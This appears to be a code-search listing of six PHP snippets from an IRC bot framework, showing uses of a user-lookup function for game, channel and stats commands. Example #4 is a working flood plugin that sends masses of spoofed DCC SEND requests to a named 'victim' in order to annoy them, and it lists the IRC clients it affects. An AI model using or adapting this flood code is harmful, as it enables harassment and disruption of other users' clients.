Example #1
0
 public static function execute(SR_Player $player, array $args)
 {
     $bot = Shadowrap::instance($player);
     if (count($args) < 2 || count($args) > 3) {
         $bot->reply(Shadowhelp::getHelp($player, 'gmsp'));
         return false;
     }
     if (false === ($spell = SR_Spell::getSpell($args[1]))) {
         $bot->reply("The spell {$args[1]} is unknown.");
         return false;
     }
     $server = $player->getUser()->getServer();
     if (false === ($user = Dog::getUserByArg($args[0]))) {
         $bot->reply(sprintf('The user %s is unknown.', $args[0]));
         return false;
     }
     if (false === ($target = Shadowrun4::getPlayerByUID($user->getID()))) {
         $bot->reply(sprintf('The player %s is unknown.', $user->getName()));
         return false;
     }
     if (false === $target->isCreated()) {
         $bot->reply(sprintf('The player %s has not started a game yet.', $args[0]));
         return false;
     }
     $by = 1;
     if (count($args) === 3) {
         if (!Common::isNumeric($args[2])) {
             $bot->reply(Shadowhelp::getHelp($player, 'gmsp'));
             return false;
         }
         if (false === ($base = $player->getSpellBaseLevel($args[1]))) {
             $bot->reply(Shadowhelp::getHelp($player, 'gmsp'));
             return false;
         }
         $by = $args[2] - $base;
     }
     $target->levelupSpell($spell->getName(), $by);
     $target->modify();
     $base = $target->getSpellBaseLevel($args[1]);
     return $bot->reply(sprintf('The target got changed spells!'));
 }
Example #2
0
<?php

$lang = array('en' => array('help' => 'Usage: %CMD% [<user>]. Show the irc modes for a user for debugging purposes.', 'priv' => '%s has the %s irc modes in this channel, according to my memory.'));
$plug = Dog::getPlugin();
$chan = Dog::getChannel();
$argv = $plug->argv();
$argc = count($argv);
if ($argc === 0) {
    $user = Dog::getUser();
} else {
    if ($argc === 1) {
        if (false === ($user = Dog::getUserByArg($argv[0]))) {
            return Dog::rply('err_user');
        }
    } else {
        return $plug->showHelp();
    }
}
$priv = $chan->getPriv($user);
$plug->rply('priv', array($user->getName(), $priv));
Example #3
0
$plugin = Dog::getPlugin();
$message = $plugin->argv();
if (count($message) < 2) {
    return $plugin->showHelp();
}
$arg = array_shift($message);
$message = implode(' ', $message);
# Admin
if (Dog::hasPermission($serv, false, $user, 'a')) {
    if (false !== ($channel = Dog::getChannelByArg($arg))) {
        return $channel->sendAction($message);
    } elseif (false !== ($tuser = Dog::getUserByArg($arg))) {
        return $tuser->sendAction($message);
    }
} elseif (DOG::hasPermission($serv, false, $user, 's')) {
    if (false !== ($channel = $serv->getChannelByName($arg))) {
        return $channel->sendAction($message);
    } elseif (false !== ($tuser = $serv->getUserByName($arg))) {
        return $tuser->sendAction($message);
    }
} else {
    if (false !== ($channel = $serv->getChannelByName($arg))) {
        return $channel->sendAction($message);
    }
}
# Errors
if (false !== ($channel = Dog::getChannelByArg($arg)) || false !== ($tuser = Dog::getUserByArg($arg))) {
    return Dog::noPermission('a');
} else {
    return Dog::rply('err_target');
}
Example #4
0
<?php

$lang = array('en' => array('help' => 'Usage: %CMD% <victim> [<amt=10>]. Try to send masses of DCC SEND file requests to annoy a particular user.', 'good' => 'Protected Clients: nettalk', 'bad' => 'Flawed Clients: kvirc'));
$plugin = Dog::getPlugin();
$argv = $plugin->argv();
$argc = count($argv);
if ($argc === 1) {
    $amt = 10;
} elseif ($argc === 2) {
    if (0 >= ($amt = (int) $argv[1])) {
        return $plugin->showHelp();
    }
} else {
    return $plugin->showHelp();
}
$user = Dog::getUserByArg($argv[0]);
$server = Dog::getServer();
$one = chr(1);
$ip = ip2long('92.77.135.158');
for ($i = 0; $i < $amt; $i++) {
    $filename = GWF_Random::randomKey(16) . '.txt';
    $port = rand(10000, 50000);
    $filesize = rand(20000, 80000);
    $payload = "PRIVMSG {$user->getName()} :{$one}DCC SEND {$filename} {$ip} {$port} {$filesize}{$one}";
    // 	$payload = "PRIVMSG {$user->getName()} :{$one}DCC CHAT $ip $port{$one}";
    $server->sendRAW($payload);
}
Example #5
0
 public function event_330()
 {
     if (false !== ($user = Dog::getUserByArg(Dog::argv(1)))) {
         $this->onAutoLogin($user);
     }
 }
Example #6
0
 private function scumTop5Player(Dog_User $user, $username)
 {
     if (false === ($user = Dog::getUserByArg($username))) {
         return 'Ùnknown User';
     }
     $table = GDO::table('Dog_ScumStats');
     if (false === ($entry = $table->selectFirst('*', "scums_userid={$user->getID()}"))) {
         return 'NO DATA FOR PLAYER YET!';
     }
     $sid = $user->getSID();
     $username = $user->getName();
     $games = $entry['scums_games'];
     $won = $entry['scums_won'];
     $score = $entry['scums_score'];
     $rank = $table->selectVar('COUNT(*)', "scums_score>{$score}") + 1;
     if (false === ($before = $table->selectFirst('*', "scums_score>{$score}", "scums_score ASC"))) {
         return sprintf('%s!%s has played %s games, won %s and scores %s points at rank %s. Praise the grand master!', $username, $sid, $games, $won, $score, $rank);
     }
     $scoreB = $before['scums_score'];
     return sprintf('%s!%s has played %s games, won %s and scores %s points at rank %s. %s points needed for rankup.', $username, $sid, $games, $won, $score, $rank, $scoreB - $score + 1);
 }